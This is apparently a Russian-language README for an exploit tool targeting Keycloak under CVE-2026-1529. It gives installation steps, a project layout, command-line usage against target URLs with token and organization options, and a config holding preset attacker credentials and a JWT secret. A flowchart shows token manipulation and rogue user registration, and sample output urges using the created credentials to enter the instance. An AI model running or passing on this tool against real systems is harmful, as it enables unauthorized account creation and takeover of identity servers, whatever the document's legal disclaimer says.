# Клонирование репозитория
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit

# Создание виртуального окружения
python3 -m venv venv
source venv/bin/activate  # На Windows: venv\Scripts\activate

# Установка зависимостей
pip install -r requirements.txt

# Создание структуры каталогов
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit

# Загрузка файлов из релизов или ручное копирование
# Затем установка зависимостей
pip install requests urllib3 PyJWT

keycloak-exploit/
├── keycloak-exploit.py           # Основной скрипт эксплойта
├── requirements.txt              # Зависимости Python
├── README.md                     # Этот файл
├── config/
│   └── default_config.json       # Файл конфигурации
├── utils/
│   ├── __init__.py              # Инициализатор пакета
│   ├── http_utils.py            # Утилиты HTTP-клиента
│   ├── jwt_utils.py             # Манипуляция JWT
│   └── crypto_utils.py          # Криптографические утилиты
├── logs/                         # Автоматически создаваемые журналы
└── output/
    └── reports/                  # Отчёты об эксплойте

python3 keycloak-exploit.py https://target-keycloak.com

# С пользовательским пригласительным токеном
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com

# С пользовательским ID организации
python3 keycloak-exploit.py -o custom_org_id https://target.com

# С пользовательским файлом конфигурации
python3 keycloak-exploit.py -c /path/to/config.json https://target.com

# Включение отладочного журналирования
python3 keycloak-exploit.py -d https://target.com

# Показать справку
python3 keycloak-exploit.py -h

# Показать версию
python3 keycloak-exploit.py -v

{
    "exploit": {
        "default_username": "admin_user_2026",
        "default_password": "KeycloakCVE2026!",
        "default_email": "[email protected]",
        "timeout": 30,
        "max_retries": 3
    },
    "jwt": {
        "algorithm": "HS256",
        "secret_key": "keycloak-cve-2026-1529-exploit",
        "token_expiry": 3600
    },
    "target": {
        "endpoints": {
            "realms": "/realms",
            "organizations": "/organizations",
            "register": "/register",
            "login": "/login"
        }
    },
    "output": {
        "log_level": "INFO",
        "save_reports": true,
        "report_format": "txt"
    }
}

┌─────────────────┐
│  Проверка цели  │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Генерация/получение токена  │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ Манипуляция токеном │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ Регистрация пользователя │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Тест входа     │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Генерация отчёта │
└─────────────────┘

============================================================
CVE-2026-1529 РЕЗУЛЬТАТЫ ЭКСПЛОЙТА
============================================================
✓ Цель уязвима к CVE-2026-1529

🎯 ЭКСПЛОЙТ УСПЕШЕН!
Имя пользователя: admin_user_2026
Пароль: KeycloakCVE2026!
Электронная почта: [email protected]
Ссылка для входа: https://target.com/realms/master/account

📄 Отчёт сохранён в: output/reports/exploit_report_20260211_050507.txt

🔐 Используйте предоставленные учётные данные для доступа к экземпляру Keycloak!
⚠️  Это демонстрирует несанкционированный доступ из-за CVE-2026-1529

============================================================
от f3ds cr3w est, 2002
============================================================

# Убедитесь, что вы находитесь в правильном каталоге
cd keycloak-exploit
python3 keycloak-exploit.py https://target.com

# Убедитесь, что каталог config существует
mkdir -p config
# Скопируйте или создайте default_config.json в config/

pip install --upgrade urllib3

# Включите отладочное журналирование для получения дополнительных деталей
python3 keycloak-exploit.py -d https://target.com

# Увеличьте тайм-аут в config/default_config.json
"timeout": 60

python3 keycloak-exploit.py -d https://target.com

⚠️ ВАЖНОЕ ПРАВОВОЕ УВЕДОМЛЕНИЕ ⚠️

Этот инструмент предоставляется только для ОБРАЗОВАТЕЛЬНЫХ целей и АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ.

Используя этот инструмент, вы соглашаетесь с тем, что:

1. Вы будете использовать этот инструмент только на системах, которыми владеете 
   или на тестирование которых имеете явное письменное разрешение.

2. Вы понимаете, что несанкционированный доступ к компьютерным системам 
   является незаконным в соответствии с законами, включая, но не ограничиваясь:
   - Computer Fraud and Abuse Act (CFAA) — США
   - Computer Misuse Act — Великобритания
   - Аналогичное законодательство в других странах

3. Вы принимаете полную ответственность за любые последствия использования 
   этого инструмента.

4. Авторы и участники не несут ответственности за любое неправильное 
   использование или ущерб, причинённый этим инструментом.

5. Этот инструмент предоставляется «КАК ЕСТЬ» без каких-либо гарантий.

ИСПОЛЬЗУЙТЕ НА СВОЙ РИСК. НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП ЯВЛЯЕТСЯ ПРЕСТУПЛЕНИЕМ.

# Клонирование вашего форка
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit

# Создание виртуального окружения
python3 -m venv venv
source venv/bin/activate

# Установка зависимостей
pip install -r requirements.txt

# Внесите изменения и протестируйте
python3 keycloak-exploit.py https://test-target.com